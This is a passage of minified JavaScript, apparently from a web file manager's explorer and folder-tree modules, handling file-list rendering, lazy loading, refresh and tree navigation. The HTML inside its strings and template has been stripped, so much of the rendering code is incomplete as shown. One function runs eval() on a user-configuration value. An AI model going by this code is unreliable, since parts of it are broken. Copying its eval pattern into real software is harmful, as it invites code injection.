o=e.outerHeight()+$sizeInt(e.css("margin-bottom")),s=Math.ceil($(Config.BodyContent).height()/o),r=Math.ceil(i/n)*o;return t.css("top",r),s*n},resetTotalHeight=function(){var e=".bodymain .fileContiner > .file",t=$(e).last(),i=$(".bodymain .fileContinerMore");if(0!=t.length){var a=G.json_data.folderlist.length+G.json_data.filelist.length;if(i.css("top",0),!(pageLoadMax>a||"list_split"==G.user_config.list_type)){var n=t.outerWidth()+$sizeInt(t.css("margin-right")),o=parseInt($(".fileContiner").width()/n);"icon"!=G.user_config.list_type&&(o=1);var s=t.outerHeight()+$sizeInt(t.css("margin-bottom"));Math.ceil($(Config.BodyContent).height()/s);var r=Math.ceil(a/o)*s;i.css("top",r)}}},loadMoreDelayTimer,loadMore=function(){var e=$(".bodymain .fileContiner > .file"),t=e.last(),i=e.length-1,a=G.json_data.folderlist.length+G.json_data.filelist.length;if(!(i>=a-1||"list_split"==G.user_config.list_type)){var n=$(".bodymain").scrollTop(),o=$(".bodymain").height(),s=$(".bodymain").offset().top;$(".fileContiner").offset().top;var r=t.outerHeight()+$sizeInt(t.css("margin-bottom")),l=s+o-r;if(l>t.offset().top){var c=l-t.offset().top,d=getPageNumber(),p=Math.ceil(c/o),u=p*d+i;u>a&&(u=a),u-i>1e3?($(".init_loading").show(),clearTimeout(loadMoreDelayTimer),loadMoreDelayTimer=setTimeout(function(){loadMoreSet(i+1,u),$(".bodymain").scrollTop(n)},300)):loadMoreSet(i+1,u)}}},loadMoreSet=function(e,t){var i=makeHtml(G.json_data,e,t),a=$(i);a.appendTo(".fileContiner"),ui.fileLight.fileListAll($(Config.FileBoxClass)),ui.fileLight.menuAction("clear"),lazyLoadImage(),$(".init_loading").hide()},makeHtml=function(e,t,i){var a=template.compile(tpl),n="",o=[];o="up"==G.user_config.list_sort_order?e.folderlist.concat(e.filelist):e.filelist.concat(e.folderlist),(!i||i>=o.length-1)&&(i=o.length-1);for(var s=t;i>=s;s++){var r="folder"==o[s].type?"_folder":"_file",l={LNG:LNG,G:G,list:o[s],index:s,type:G.user_config.list_type+r};o[s].icon&&"icon_file"==l.type&&"oexe"==o[s].ext&&(l.oexe_icon=o[s].icon,"string"==$.type(o[s].icon)&&-1==o[s].icon.search(G.static_path)&&"http"!=o[s].icon.substring(0,4)&&(l.oexe_icon=G.static_path+"images/file_icon/icon_app/"+o[s].icon)),n+=a(l)}return n},pathChildrenTree=function(e,t){if("string"==$.type(e))var i=$('.file[data-path="'+pathHashEncode(e)+'"]');else{var i=e;e=ui.fileLight.path(i)}if(1==i.length){var a=i.find(".children_more"),n=i.find(".children_more_cert"),o=$('.children_list[data-path-children="'+pathHashEncode(e)+'"]'),s=23;if(n.toggleClass("cert_open"),o.toggleClass("hidden"),o.hasClass("child_aredy_init"))return pathListOdd(),void 0;i.addClass("loading_children"),pathGet(e,function(e){i.removeClass("loading_children");var n=makeHtml(e,0,getPageNumber()-1);""!=n&&(n=htmlListAction(e,n,!0)),o.html(n),ajaxLive(),o.addClass("child_aredy_init");var r=s+parseInt(a.css("padding-left"));o.find(".file .children_more").css("padding-left",r),pathListOdd(),"function"==typeof t&&t(e)})}},htmlListAction=function(e,t,i){if(""==t)return t='
        '+LNG.path_null+"
        ";var a=e.folderlist.concat(e.filelist);if(a.length>pageLoadMax){var n=core.pathFather(a[0].path);"list"==G.user_config.list_type&&i?t+='
        '+'
        '+''+'
        '+''+LNG.file_load_all+""+"
        "+"
        ":"list_split"==G.user_config.list_type&&(t+='
        '+'
        '+'
        '+''+LNG.file_load_all+"(to list)"+"
        "+"
        ")}return t},pathListOdd=function(){var e=0;ui.fileLight.fileListAll().each(function(){0==$(this).parents(".hidden").length&&(0==e%2?$(this).addClass("file2"):$(this).removeClass("file2"),e++)})},pathChildrenSplit=function(e,t){var i=$('.file[data-path="'+pathHashEncode(e)+'"]'),a=$(".fileList_list_split .split_box[data-path='"+pathHashEncode(e)+"']");if(0==i.length)return"function"==typeof t&&t(),void 0;if(1==a.length)return a.nextAll().remove(),"function"==typeof t&&t(),void 0;var n=i.parent().parent();pathSplitCreate(e,t,n)},pathSplitCreate=function(e,t,i){pathGet(e,function(a){if("not_exists"==a.path_read_write)return t(a);var n=makeHtml(a,0,getPageNumber()-1);if(n=htmlListAction(a,n,!0),i)if(i.nextAll(".split_box").length>0){var o=i.next(".split_box");o.attr("data-path",pathHashEncode(e)).find(".content").html(n),o.nextAll().remove()}else n='
        '+n+'
        ',$(n).insertAfter(i).data("jsonData",a);else n='
        '+n+'
        ',$(n).appendTo(".fileList_list_split").data("jsonData",a);ajaxLive(),"function"==typeof t&&t()})},beforeSelectFileArr={},beforeListOpenArr={},beforeListOpen={},beforeListSplitSelect="",beforeScrollerLeft=0,f5Before=function(){if(!("icon"==G.user_config.list_type||beforeListOpenArr.length>0))if(beforeListOpenArr={},beforeListOpen={},"list"==G.user_config.list_type){var e=$(".child_aredy_init:visible");if(1>e.length)return;e.each(function(){var e=$(this),t=beforeListOpenArr,i=ui.fileLight.path(e,"data-path-children");beforeListOpen[i]=!1;for(var a=[i];0!=e.parents(".children_list").length;)e=e.parents(".children_list"),a.push(ui.fileLight.path(e,"data-path-children"));for(var n=a.length-1;n>=0;n--){var o=a[n];t[o]!==void 0?t=t[o]:t[o]={}}})}else if("list_split"==G.user_config.list_type){var t=beforeListOpenArr;beforeScrollerLeft=$(".html5_drag_upload_box").scrollLeft(),beforeListSplitSelect=ui.fileLight.path($(".fileList_list_split .split_box.split_select")),$(".fileContiner .split_box").each(function(){var e=ui.fileLight.path($(this));""!=e&&(t[e]={},t=t[e],beforeListOpen[e]=!1)})}},f5After=function(e){return"icon"==G.user_config.list_type||0==Object.keys(beforeListOpenArr).length?(f5AfterReloadFinished(e),void 0):("list_split"==G.user_config.list_type&&$(".fileList_list_split .split_box").remove(),f5AfterReload(beforeListOpenArr,e),void 0)},f5AfterReload=function(e,t){$.each(e,function(e,i){var a=pathChildrenTree;"list_split"==G.user_config.list_type&&(a=pathSplitCreate),a(e,function(){beforeListOpen[e]=!0,0!=Object.keys(i).length?f5AfterReload(i,t):f5AfterReloadFinished(t)})}),f5AfterReloadFinished(t)},f5AfterReloadFinished=function(e){for(var t in beforeListOpen)if(beforeListOpen[t]===!1)return;$(".html5_drag_upload_box").scrollLeft(beforeScrollerLeft),ui.path.setSelectByFilename(beforeSelectFileArr),ui.fileSelect.selectSplit(beforeListSplitSelect),beforeListOpenArr={},beforeListOpen={},beforeSelectFileArr={},beforeListSplitSelect="","function"==typeof e&&e()},f5=function(e,t,i){if(void 0==e&&(e=!0),void 0==t&&(t=!1),jsonDataSortTitle(),f5Before(),beforeSelectFileArr=ui.fileLight.getAllName(),e?pathGet(G.this_path,function(e){G.json_data=e,mainSetData(t),pathTypeChange(G.json_data),loadMore(),resetTotalHeight(),f5After(i),"desktop"!=Config.pageApp?ui.headerAddress.addressSet():checkRecycle()},function(){$(Config.FileBoxSelector).html("")}):(G.json_data=jsonDataSort(G.json_data),mainSetData(t),pathTypeChange(G.json_data),loadMore(),resetTotalHeight(),f5After(i)),"desktop"!=Config.pageApp){var a=G.user_id||G.sid;LocalData.set("this_path_"+a,G.this_path)}},jsonDataSort=function(e){e=jsonDatafilter(e);var t=e.folderlist,i=e.filelist;return t="size"==G.user_config.list_sort_field||"ext"==G.user_config.list_sort_field?t.sort(sortBy("name",G.user_config.list_sort_order)):t.sort(sortBy(G.user_config.list_sort_field,G.user_config.list_sort_order)),i=i.sort(sortBy(G.user_config.list_sort_field,G.user_config.list_sort_order)),e.folderlist=t,e.filelist=i,e},pathGet=function(e,t,i){var a="index.php?explorer/pathList&path="+urlEncode(e);G.user&&(a="index.php?share/pathList&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),$.ajax({url:a,dataType:"json",beforeSend:function(){$(".tools-left .msg").stop(!0,!0).fadeIn(200)},success:function(e){if($(".tools-left .msg").fadeOut(300),!e||!e.code)return Tips.tips(e),"function"==typeof i&&i(),!1;var a=jsonDataSort(e.data);"function"==typeof t&&t(a)},error:function(e,t,a){$(".tools-left .msg").fadeOut(300),core.ajaxError(e,t,a),"function"==typeof i&&i()}})},f5Callback=function(e){f5(!0,!1,e)},jsonDatafilter=function(e){if(!e)return json_data;if(void 0!=e.share_list&&(self_share=e.share_list),e.filter_success===!0)return e;for(var t in e)if("filelist"==t||"folderlist"==t)for(var i=0;e[t].length>i;i++){var a=e[t][i];if(a.mtime&&11>=(""+a.mtime).length)if(a.atime=date(LNG.time_type,a.atime),a.ctime=date(LNG.time_type,a.ctime),e.info&&e.info.path_type==G.KOD_USER_SHARE&&-1==trim(e.this_path,"/").indexOf("/")){var n=parseInt(a.num_view);n=isNaN(n)?0:n;var o=parseInt(a.num_download);o=isNaN(o)?0:o;var s=date("Y/m/d ",a.mtime)+" ";s+=LNG.share_view_num+n+" "+LNG.share_download_num+o,a.mtime=s}else a.mtime=date(LNG.time_type,a.mtime);a.name=htmlEncode(a.name),a.sid&&"file"==a.type&&(a.ext=htmlEncode(core.pathExt(a.path))),pathIsShare(a.path)?a.meta_info="path_self_share":pathIsFav(a.path)&&(a.meta_info="treeFav"),"number"==typeof a.is_readable&&0==a.is_readable?a.mode="["+LNG.not_read+"] "+a.mode:"number"==typeof a.is_writeable&&1==a.is_writeable?a.mode="["+LNG.system_role_write+"] "+a.mode:"number"==typeof a.is_readable&&1==a.is_readable&&(a.mode="["+LNG.only_read+"] "+a.mode),e.info&&e.info.path_type==G.KOD_USER_RECYCLE&&trim(e.this_path,"/")==G.KOD_USER_RECYCLE&&(a.menuType="menuRecyclePath") +}return e.filter_success=!0,e},jsonDataSortTitle=function(){var up='',down='';$("#main_title .this").toggleClass("this").attr("id","").find("span").html(""),$("#main_title div[field="+G.user_config.list_sort_field+"]").addClass("this").attr("id",G.user_config.list_sort_order).find("span").html(eval(G.user_config.list_sort_order))},pathIsShare=function(e){for(var t in G.self_share)if(core.pathClear(G.self_share[t].path)==core.pathClear(e))return!0;return!1},pathIsFav=function(e){var t=G.fav_list;for(var i in t)if(core.pathClear(i)==core.pathClear(e))return!0;return!1},checkRecycle=function(){$.ajax({url:"index.php?explorer/pathList&type=desktop&path="+G.KOD_USER_RECYCLE,dataType:"json",error:core.ajaxError,success:function(e){if(!e.code)return!1;var t=core.icon("recycle_full");0==e.data.folderlist.length&&0==e.data.filelist.length&&(t=core.icon("recycle")),$(".menuRecycleButton .ico").html(t)}})},pathTypeChange=function(e){if(e.info){var t=e.info,i=t.path_type,a=e.path_read_write,n="menuBodyMain menuRecycleBody menuShareBody",o=$(".html5_drag_upload_box");void 0!=a&&"writeable"!=a||i==G.KOD_USER_RECYCLE||i==G.KOD_GROUP_SHARE||i==G.KOD_USER_SHARE||i==G.KOD_USER_FAV||i==G.KOD_GROUP_ROOT_ALL||i==G.KOD_GROUP_ROOT_SELF?t.can_upload=!1:(t.can_upload=!0,1!=G.is_root&&i==G.KOD_GROUP_PATH&&"guest"==t.role&&(t.can_upload=!1)),"writeable"==a&&1==G.is_root&&(t.can_upload=!0);var s=[G.KOD_USER_SHARE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL];i==G.KOD_USER_RECYCLE?(o.removeClass(n).addClass("menuRecycleBody"),$(".tools-left>.btn-group").addClass("hidden").parent().find(".kod_recycle_tool").removeClass("hidden")):-1!==s.indexOf(i)?-1===core.pathClear(rtrim(G.this_path,"/")).indexOf("/")?(o.removeClass(n).addClass("menuShareBody"),$(".tools-left>.btn-group").addClass("hidden").parent().find(".kod_share_tool").removeClass("hidden"),t.id==G.user_id?($(".menuSharePathMenu").find(".open_the_path,.share_edit,.remove").removeClass("hidden"),$(".menuSharePathMore").find(".remove").removeClass("hidden")):($(".menuSharePathMenu").find(".open_the_path,.share_edit,.remove").addClass("hidden"),$(".menuSharePathMore").find(".remove").addClass("hidden"))):(o.removeClass(n).addClass("menuBodyMain"),$(".tools-left>.btn-group").addClass("hidden").parent().find(".kod_path_tool").removeClass("hidden")):(o.removeClass(n).addClass("menuBodyMain"),$(".tools-left>.btn-group").addClass("hidden").parent().find(".kod_path_tool").removeClass("hidden")),currentPathMenu(e)}},currentPathMenu=function(e){var t=e.info,i=e.path_read_write,a=t.path_type,n=".createLink,.createProject,.cute,.remove,.rname,.zip,.unzip,.newfile,.newfolder,.newfileOther,.app_create,.app_install,.past,.upload,.clone",o="#download,#rename,#cute,#remove,#zip,#past,#clone,#share,#rname,#createLink,.divider",s="disable";if(t.can_upload?($("ul.menufolder,ul.menuMore,ul.menufile,ul.fileContiner_menu").find(n).removeClass(s),$(".path_tips").hide(),$(".kod_path_tool>button").removeClass("disabled"),$(".kod_path_tool").find(o).removeClass("hidden")):($(".kod_path_tool").find(o).addClass("hidden"),$(".kod_path_tool>button").addClass("disabled"),$("ul.menufolder,ul.menuMore,ul.menufile,ul.fileContiner_menu").find(n).addClass(s),$(".path_tips span").html(LNG.only_read),a==G.KOD_USER_RECYCLE||a==G.KOD_USER_SHARE?($(".path_tips").hide(),$(".kod_path_tool>button").removeClass("disabled"),a==G.KOD_USER_SHARE&&G.user_id!=t.id&&$(".kod_path_tool>button").addClass("disabled")):$(".path_tips").show()),(a==G.KOD_GROUP_PATH||a==G.KOD_GROUP_SHARE)&&G.is_root||a==G.KOD_GROUP_PATH&&"owner"==t.role){var r=e.group_space_use;if(r){var l=core.userSpaceHtml(r.size_use+"/"+r.size_max);$(".group_space_use").removeClass("hidden").html(l)}else $(".group_space_use").addClass("hidden")}else $(".group_space_use").addClass("hidden");if(e.user_space){var r=e.user_space,l=core.userSpaceHtml(r.size_use+"/"+r.size_max);$(".user_space_info").html(l)}"not_exists"==i&&($(".path_tips span").html(LNG.not_exists),$(".path_tips").show()),a==G.KOD_USER_RECYCLE||a==G.KOD_USER_SHARE||a==G.KOD_GROUP_SHARE||a==G.KOD_GROUP_PATH?$("ul.menufolder,ul.menuMore,ul.menufile,ul.fileContiner_menu").find(".share").addClass("hidden"):$("ul.menufolder,ul.menuMore,ul.menufile,ul.fileContiner_menu").find(".share").removeClass("hidden"),1==G.is_root&&t.admin_real_path?$(".admin_real_path").removeClass("hidden"):$(".admin_real_path").addClass("hidden")};return{f5:f5,f5Callback:f5Callback,pathTypeChange:pathTypeChange,pathChildrenTree:pathChildrenTree,pathChildrenSplit:pathChildrenSplit,myPicasa:myPicasa,init:function(){$(window).bind("resize",function(){resetTotalHeight(),"desktop"==Config.pageApp?ui.resetDesktopIcon():ui.headerAddress.resetWidth(),"none"!=$("#PicasaView").css("display")&&myPicasa.setFrameResize()}),bindScrollLoadMore(),myPicasa.init(".picasaImage"),myPicasa.initData()}}}),define("app/src/explorer/tpl/file_list_make.html",[],"\n{{if type=='icon_folder'}}\n
        \n
        \n {{if list.ext}}\n {{list.ext |core.icon}}\n {{else}}\n {{\"folder\" |core.icon}}\n {{/if}}\n
        \n {{if list.meta_info}}\n
        {{list.meta_info |core.icon}}
        \n {{/if}}\n
        \n \n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}}\n {{else}}\n {{list.name}}\n {{/if}}\n \n
        \n
        \n\n\n{{else if type=='list_folder'}}\n
        \n
        \n {{if list.meta_info}}\n
        {{list.meta_info |core.icon}}
        \n {{/if}}\n \n {{if list.isParent&&list.is_readable}}{{/if}}\n \n
        \n {{if list.ext}}\n {{list.ext |core.iconSmall}}\n {{else}}\n {{\"folder\" |core.iconSmall}}\n {{/if}}\n
        \n \n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}}\n {{else}}\n {{list.name}}\n {{/if}}\n \n
        \n
        {{LNG.folder}}
        \n
        \n
        {{list.mtime}}
        \n
        \n
        \n{{if list.isParent&&list.is_readable}}\n
        \n{{/if}}\n\n\n{{else if type=='list_split_folder'}}\n
        \n
        \n {{if list.meta_info}}\n
        {{list.meta_info |core.icon}}
        \n {{/if}}\n
        \n {{if list.ext}}\n {{list.ext |core.iconSmall}}\n {{else}}\n {{\"folder\" |core.iconSmall}}\n {{/if}}\n
        \n \n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}}\n {{else}}\n {{list.name}}\n {{/if}}\n \n \n {{if list.is_readable && typeof(list.menuType)==\"undefined\"}}\n \n {{/if}}\n \n
        \n
        \n\n\n{{else if type=='icon_file'}}\n
        \n {{if window.inArray(core.filetype['image'],list.ext)}}\n
        \n {{if window.G.sid}}\n \n {{else}}\n \n {{/if}}\n
        \n {{else if list.type == 'app_link'}}\n {{if list.content.search('ui.path.open') == 0}}\n
        \n {{list.name.replace('.oexe','') |core.pathExt|core.icon}}\n
        \n {{else if list.content.search('ui.path.list') == 0}}\n
        \n {{list.icon |core.icon}}\n
        \n {{else}}\n
        {{\"folder\" |core.icon}}
        \n {{/if}}\n
        {{'app_link' |core.icon}}
        \n {{else}}\n
        \n {{if list.ext=='oexe'}}\n {{oexe_icon |core.iconSrc}}\n {{else}}\n {{list.ext |core.icon}}\n {{/if}}\n
        \n {{/if}}\n {{if list.meta_info}}\n
        {{list.meta_info |core.icon}}
        \n {{/if}}\n
        \n \n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}}\n {{else}}\n {{if list.ext=='oexe'}}{{list.name.replace('.oexe','')}}{{else}}{{list.name}}{{/if}}\n {{/if}}\n \n
        \n
        \n\n\n{{else if type=='list_file'}}\n
        \n
        \n \n {{if window.inArray(core.filetype['image'],list.ext)}}\n
        \n {{if window.G.sid}}\n \n {{else}}\n \n {{/if}}\n
        \n {{else if list.type == 'app_link'}}\n {{if list.content.search('ui.path.open') == 0}}\n
        \n {{list.name.replace('.oexe','') |core.pathExt|core.iconSmall}}\n
        \n {{else if list.content.search('ui.path.list') == 0}}\n
        \n {{list.icon |core.icon}}\n
        \n {{else}}\n
        {{\"folder\" |core.iconSmall}}
        \n {{/if}}\n
        {{'app_link' |core.icon}}
        \n {{else}}\n
        \n {{if list.ext=='oexe'}}\n {{'oexe' |core.iconSmall}}\n {{else}}\n {{list.ext |core.iconSmall}}\n {{/if}}\n
        \n {{/if}}\n {{if list.meta_info}}\n
        {{list.meta_info |core.icon}}
        \n {{/if}}\n \n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}}\n {{else}}\n {{if list.ext=='oexe'}}{{list.name.replace('.oexe','')}}{{else}}{{list.name}}{{/if}}\n {{/if}}\n \n
        \n
        {{list.ext |window.htmlEncode}} {{LNG.file}}
        \n
        {{list.size |core.fileSize}}
        \n
        {{list.mtime}}
        \n
        \n
        \n\n\n{{else if type=='list_split_file'}}\n
        \n
        \n {{if window.inArray(core.filetype['image'],list.ext)}}\n
        \n {{if window.G.sid}}\n \n {{else}}\n \n {{/if}}\n
        \n {{else if list.type == 'app_link'}}\n {{if list.content.search('ui.path.open') == 0}}\n
        \n {{list.name.replace('.oexe','') |core.pathExt|core.iconSmall}}\n
        \n {{else if list.content.search('ui.path.list') == 0}}\n
        \n {{list.icon |core.icon}}\n
        \n {{else}}\n
        {{\"folder\" |core.iconSmall}}
        \n {{/if}}\n
        {{'app_link' |core.icon}}
        \n {{else}}\n
        \n {{if list.ext=='oexe'}}\n {{'oexe' |core.iconSmall}}\n {{else}}\n {{list.ext |core.iconSmall}}\n {{/if}}\n
        \n {{/if}}\n\n {{if list.meta_info}}\n
        {{list.meta_info |core.icon}}
        \n {{/if}}\n \n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}}\n {{else}}\n {{if list.ext=='oexe'}}{{list.name.replace('.oexe','')}}{{else}}{{list.name}}{{/if}}\n {{/if}}\n \n
        \n
        \n{{/if}}\n\n"),define("app/common/tree",["./pathOperate","./pathOpen","./myPlayer"],function(e){var t,i=e("./pathOperate"),a=e("./pathOpen"),n=!1;ui.pathOpen=a,ui.pathOperate=i;var o,s=function(){0!=$("#windowMaskView").length&&"block"==$("#windowMaskView").css("display")&&inArray(core.filetype.image,f().type)&&a.open(f().path,f().type)},r=function(e){for(var t=[],i=[],a=0;e.length>a;a++){if(e[a].drop=!1,e[a].drag=!1,e[a].name=e[a].name,e[a].isParent&&e[a].children&&(e[a].children=r(e[a].children)),e[a].menuType)return e;e[a].is_writeable,"folder"==e[a].type?i.push(e[a]):t.push(e[a])}return i=i.sort(function(e,t){var e=e.name,t=t.name;return ui.pathOperate.strSort(e,t)}),t=t.sort(function(e,t){var e=e.name,t=t.name;return ui.pathOperate.strSort(e,t)}),i.concat(t)},l=function(){var e={},t="tree_open_"+md5(Config.pageApp),i=function(e){if(!LocalData.support())return{};if(void 0==e){var i=LocalData.getConfig(t);return 0==i?{}:i}LocalData.setConfig(t,e)},a=function(t){for(var i=0;t.length>i;i++){var a=t[i].path;void 0!==e[a]&&(t[i].open=e[a])}return t},n=function(){for(var t=o.getNodesByFilter(function(e){return 0==e.level?!0:!1}),a={},n=0;t.length>n;n++)a[t[n].path]=t[n].open;return e=a,i(e),e};return e=i(),{list:function(){return e},reset:a,save:n}}(),c=function(){$.ajax({url:Config.treeAjaxURL+"&type=init",dataType:"json",error:function(){$("#folderList").html('
        '+LNG.system_error+"
        ")},success:function(e){if(!e.code)return $("#folderList").html('
        '+LNG.system_error+"
        "),void 0;var t=r(e.data);t=l.reset(t),$.fn.zTree.init($("#folderList"),u,t),o=$.fn.zTree.getZTreeObj("folderList")}}),$(".ztree .switch").die("mouseenter").live("mouseenter",function(){$(this).addClass("switch_hover")}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("switch_hover")}),"editor"==Config.pageApp&&(Mousetrap.bind("up",function(e){d(e,"up")}).bind("down",function(e){d(e,"down")}).bind("left",function(e){d(e,"left")}).bind("right",function(e){d(e,"right")}),Mousetrap.bind("enter",function(){tree.open()}).bind(["del","command+backspace"],function(){tree.remove()}).bind("f2",function(e){stopPP(e),tree.rname()}).bind(["ctrl+f","command+f"],function(e){stopPP(e),tree.search()}).bind(["ctrl+c","command+c"],function(){tree.copy()}).bind(["ctrl+x","command+x"],function(){tree.cute()}).bind(["ctrl+v","command+v"],function(){tree.past()}).bind("alt+m",function(){tree.create("folder")}).bind("alt+n",function(){tree.create("file")}))},d=function(e,t){stopPP(e);var i=o.getSelectedNodes()[0];if(i){switch(t){case"up":var a=i.getPreNode();if(a){if(a.open&&a.children.length>0)for(;a.open&&a.children&&a.children.length>=1;)a=a.children[a.children.length-1]}else a=i.getParentNode();o.selectNode(a);break;case"down":if(i.open&&i.children.length>=1)a=i.children[0];else{var n=i,a=n.getNextNode()||n.getParentNode().getNextNode();try{for(;!a;)n=n.getParentNode(),a=n.getNextNode()||n.getParentNode().getNextNode()}catch(e){}}o.selectNode(a);break;case"left":i.isParent?i.open?o.expandNode(i,!1):o.selectNode(i.getParentNode()):o.selectNode(i.getParentNode());break;case"right":i.open?o.selectNode(i.children[0]):o.expandNode(i,!0);break;default:}s()}},p=function(){return"editor"==Config.pageApp?!1:!0},u={async:{enable:!0,dataType:"json",url:Config.treeAjaxURL,autoParam:["ajax_path=path","tree_icon=tree_icon"],dataFilter:function(e,t,i){return i.code?r(i.data):null}},edit:{enable:!0,showRemoveBtn:!1,showRenameBtn:!1,drag:{isCopy:!1,isMove:!1}},view:{showLine:!1,selectedMulti:!1,expandSpeed:"fast",dblClickExpand:!1,addDiyDom:function(e,t){var i=15,a=$("#"+t.tId+"_switch"),n=$("#"+t.tId+"_ico");a.remove(),t.iconSkin=t.tree_icon;var o=t.tree_icon;if(t.ext?o=t.ext:t.tree_icon||(o=t.type),n.before(a).before(''+core.iconSmall(o)+"").remove(),void 0!=t.ext&&n.attr("class","").addClass("file "+t.ext).removeAttr("style"),t.level>=1){var s="";a.before(s)}var r="";void 0!=t.menuType?r=t.menuType:(("file"==t.type||"oexe"==t.ext)&&(r="menuTreeFile"),"folder"==t.type&&(r="menuTreeFolder"));var l=LNG.name+":"+t.name+"\n"+LNG.size+":"+core.fileSize(t.size)+"\n"+LNG.modify_time+":"+t.mtime;"file"!=t.type&&(l=t.name),a.parent().addClass(r).attr("title",l),0==t.is_writeable&&a.parent().addClass("file_not_writeable"),0==t.is_readable&&a.parent().addClass("file_not_readable")}},callback:{onClick:function(e,t,i){return o.selectNode(i),"editor"==Config.pageApp&&"folder"==i.type?(o.expandNode(i),void 0):("editor"==Config.pageApp||"folder"!=i.type?ui.tree.openEditor():ui.path.list(i.path),void 0)},beforeDblClick:function(){return!0},onCollapse:function(e,t,i){0==i.level&&l.save()},onExpand:function(e,t,i){0==i.level&&l.save()},onDblClick:function(e,t,i){return $(e.target).hasClass("switch")||!p()?!1:(o.expandNode(i),void 0)},beforeRightClick:function(e,t){o.selectNode(t)},beforeAsync:function(e,t){t.ajax_name=t.name,t.ajax_path=t.path,$("#"+t.tId+"_my_ico").addClass("ico_loading")},onAsyncSuccess:function(e,i,a,n){return $("#"+a.tId+"_my_ico").removeClass("ico_loading"),0==n.data.length?(o.removeChildNodes(a),void 0):("function"==typeof t&&(t(),t=void 0),void 0)},onRename:function(e,a,n){var s=n.getParentNode();if(o.getNodesByParam("name",n.name,s).length>1)return Tips.tips(LNG.name_isexists,!1),o.removeNode(n),void 0;if(n.create){var r=n.path+"/"+n.name;"folder"==n.type?i.newFolder(r,function(e){e.code&&(h(s),t=function(){var e=o.getNodesByParam("name",n.name,s)[0];o.selectNode(e),g()})}):i.newFile(r,function(e){e.code&&(h(s),t=function(){var e=o.getNodesByParam("name",n.name,s)[0];o.selectNode(e),g()})})}else{var l=rtrim(n.path,"/"),c=core.pathFather(n.path)+n.name;i.rname(l,c,function(e){n.path=e,h(s),t=function(){var e=o.getNodesByParam("name",n.name,s)[0];o.selectNode(e),g(),"folder"==n.type&&ui.path.list(n.path)}})}},beforeDrag:function(e,t){for(var i=0,a=t.length;a>i;i++)if(t[i].drag===!1)return!1;return!0},beforeDrop:function(e,t,i){return i?i.drop!==!1:!0},onDrop:function(e,t,a,n){var o="",s="",r=a[0];(r.father||r.this_path)&&(o=r.father+urlEncode(r.name),s=n.father+urlEncode(n.name),i.cuteDrag([{path:o,type:r.type}],s,function(){h(r)}))}}},f=function(e){if(o){var t=o.getSelectedNodes()[0],i="";return t?(i=t.type,("_null_"==i||void 0==i)&&(i="folder"),"file"==i&&(i=t.ext),e?[{path:t.path,type:i,node:t}]:{path:t.path,type:i,node:t}):{path:"",type:""}}},h=function(e){return e||(e=o.getSelectedNodes()[0]),e.isParent||(e=e.getParentNode())?(o.reAsyncChildNodes(e,"refresh"),void 0):(ui.tree.init(),void 0)},m=function(){v(G.KOD_USER_FAV),ui.f5()},_=function(){m(),v(G.KOD_GROUP_ROOT_SELF),v(G.KOD_GROUP_ROOT_ALL)},v=function(e){var t=o.getNodesByParam("path",e,null);h(t[0])},g=function(){"explorer"==Config.pageApp&&ui.f5()};return{treeOpenHistory:l,pathOpen:a,init:c,refresh:h,refreshPath:v,refreshFav:m,refreshGroup:_,zTree:function(){return o},openEditor:function(){a.openEditor(f().path)},openWindow:function(){a.openWindow(f().path)},share:function(){i.share(f())},download:function(){"folder"==f().type?i.zipDownload(f(!0)):a.download(f().path)},setSelect:function(e){var t=o.getSelectedNodes();if(!$.isArray(t)||1!=t.length||trim(t[0].path,"/")!=trim(e,"/")){var i=o.getNodesByFilter(function(t){return trim(t.path,"/")==trim(e,"/")?!0:!1},!0);i&&o.selectNode(i,!1)}},open:function(){if(!($(".dialog_path_remove").length>=1)){var e=f();"oexe"==e.type&&(e.path=e.node),a.open(e.path,e.type)}},fav:function(){var e=f();e.name=e.node.name,e.node="null",i.fav(e)},createLink:function(e){var t=f();i.createLink(t.path,t.node.name,t.type,e,g)},search:function(){core.search("",f().path)},appEdit:function(){var e=f(),t=e.node;t.path=e.path,i.appEdit(t,function(){h(e.node.getParentNode())})},info:function(){i.info(f(!0))},copy:function(){i.copy(f(!0))},cute:function(){i.cute(f(!0))},copyTo:function(){core.api.pathSelect({type:"folder",title:LNG.copy_to},function(e){i.copyDrag(f(!0),e,"",!1)})},cuteTo:function(){core.api.pathSelect({type:"folder",title:LNG.cute_to},function(e){i.cuteDrag(f(!0),e,function(){v()})})},favRemove:function(){i.favRemove(f().node.name,function(e){Tips.tips(e),m()})},past:function(){var e=f();e.node.isParent||(e.node=e.node.getParentNode()),i.past(e.path,function(){g(),h(e.node)})},clone:function(){var e=f();e.node.isParent||(e.node=e.node.getParentNode()),i.copyDrag(f(!0),core.pathFather(e.path),function(){g(),"folder"==e.type?h(e.node.getParentNode()):h(e.node)},!0)},remove:function(){var e=f(!0),t=e[0].node.getParentNode();i.remove(e,function(){g(),h(t)})},checkIfChange:function(e){n||(n=!0,o&&(o.getNodesByFilter(function(t){var i=t.path;return"folder"==t.type&&core.pathClear(i)==core.pathClear(e)&&h(t),!1},!0),setTimeout(function(){n=!1},500)))},explorer:function(){var e=o.getSelectedNodes();if(0>=e.length){var t=o.getNodes();o.selectNode(t[0])}var i=f().path;"folder"!=f().type&&(i=core.pathFather(i)),core.explorer(i)},openProject:function(){core.explorerCode(f().path)},create:function(e){var i=o.getSelectedNodes();if(0>=i.length){var a=o.getNodes();o.selectNode(a[0])}else"file"==i[0].type&&o.selectNode(i[0].getParentNode());var n=f(),s=n.node,r=s.getParentNode(),l="newfile",c=0,d=LNG.newfolder;if("folder"==e){for(;o.getNodesByParam("name",d+"("+c+")",r).length>0;)c++;newNode={name:d+"("+c+")",ext:"",type:"folder",create:!0,path:n.path}}else{for(var p=e;o.getNodesByParam("name",l+"("+c+")."+p,r).length>0;)c++;newNode={name:l+"("+c+")."+p,ext:p,type:"file",create:!0,path:n.path}}if(void 0!=s.children){var u=o.addNodes(s,newNode)[0];o.editName(u)}else"folder"!=s.type&&(s=s.getParentNode()),t=function(){var 